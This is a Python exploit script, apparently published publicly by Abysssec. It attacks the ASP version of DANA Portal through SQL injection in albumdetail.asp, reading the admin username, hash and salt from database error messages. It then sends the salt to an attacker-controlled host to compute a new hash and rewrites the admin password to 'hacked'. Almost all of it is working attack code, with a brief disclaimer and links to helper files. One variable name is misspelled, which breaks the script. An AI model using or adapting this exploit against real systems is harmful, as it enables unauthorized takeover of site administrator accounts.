#!/usr/bin/python
# Abysssec Inc Public Exploit Code
# Title  : Dana Portal Remote Change Admin Password Exploit
# Affected Version : ASP Version
# Vulnerable File : albumdetail.asp
# Vendor  Site   : www.dana.ir

# note :  no point to keep it private anymore .
# This exploit ueses of sql injection vulnerability exist in DANA Portal asp version 
# the "real" problem is when you extract SHA1 hash , hash is not clear and is SHA1+Salt
# The alghorithm is not really hard to break and writing cracker tool but i prefered 
# To update admin password (SH1 + Salt ) with "hacked" word . 
# this exploit is just for educational purpose and author will  be not be responsible for any damage using this exploit .
# feel free to contact me at : admin [at] abysssec.com 

# for working  with this exploit you need two asp file for updating hash you can download both from : 
# www.abysssec.com/files/dana.zip
# www.milw0rm.com/sploits/2009-dana.zip

# then need to upload asp files and change  this "http://wwww.yourasphost.com/salt.asp?salt="  in exploit code

import string
import urllib
import sys
import re

def Abysssec():
        print "\n"
        print "#####################################################"
        print "#     DanaPortal Remote Change Password Exploit     #"
        print "#                 www.Abysssec.com                   #"
        print "#####################################################"
        print "\n"



#Call Banner
Abysssec()

print "\n[+] Target Host: e.g: http://site.com/danaportal/"
try:
        host=raw_input("\nTarget Host : ")
except KeyboardInterrupt:
        print "\n[-] Program Terminated"
        sys.exit()


print "\n[+] Trying  To Connect ...\n"

# Check Http in string
if host[:7] == "http://":
        pass
else:
        host = "http://"+host

        
#SQL Injection URL
sql_inject=host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+username+from+tblAuthor)--"

response = urllib.urlopen(sql_inject).read()

print "[+] Trying  To Inject Code ...\n"

#Extract Admin User
findall_users=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
found_users=findall_users(response)

#check found user length
if len(found_ussers)==0:
    print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
    sys.exit()
        

print "\n[+] Admin User :  ",found_users[0]

# Extract Admin Hash
hash_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+password+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--"
response = urllib.urlopen(hash_inject).read()
findall_hashs=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
found_hashs=findall_hashs(response)
if len(found_hashs)==0:
    print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
    sys.exit()
    
print "\n[+] Admin Hash :  ",found_hashs[0]

# Extract Admin Salt
salt_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+salt+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--"
response = urllib.urlopen(salt_inject).read()
findall_salt=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
found_salt=findall_salt(response)
if len(found_salt)==0:
    print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
    sys.exit()    
print "\n[+] Admin Salt :  ",found_salt[0]


# Extract User Code
usercode_inject = host+"/albumdetail.asp?Gid=1+or+1=(select+top+1+user_code+from+tblAuthor+where+username+in+('"+found_users[0]+"'))--"
response = urllib.urlopen(usercode_inject).read()
findall_usercode=re.compile('<font face="Arial" size=2>Conversion failed when converting the nvarchar value \'(\w+)\' to data type int.</font>').findall
found_usercode=findall_usercode(response)
if len(found_usercode)==0:
    print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
    sys.exit()
    
print "\n[+] Admin Code :  ",found_usercode[0]

# Generate New Hash + Salt
update_password = "http://wwww.yourasphost.com/salt.asp?salt="+found_salt[0] # change this url with yours !
response = urllib.urlopen(update_password).read()
findall_update=re.compile('(\w+)</object>').findall

found_update=findall_update(response)

updated_hash = ''.join(found_update)

# Update Password
usercode_inject = host+"/albumdetail.asp?Gid=-1+UPDATE+tblauthor+SET+password='"+updated_hash+"'+where+username='"+found_users[0]+"'--"

response = urllib.urlopen(usercode_inject).read()

if len(response) == 0:
        print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable "
        sys.exit()
else:
        print "[+] Updated Successfully \n"
        print "[+] Login Url : "+host+"/manage"
        print "[+] Username  : "+found_users[0]
        print "[+] Password  : hacked"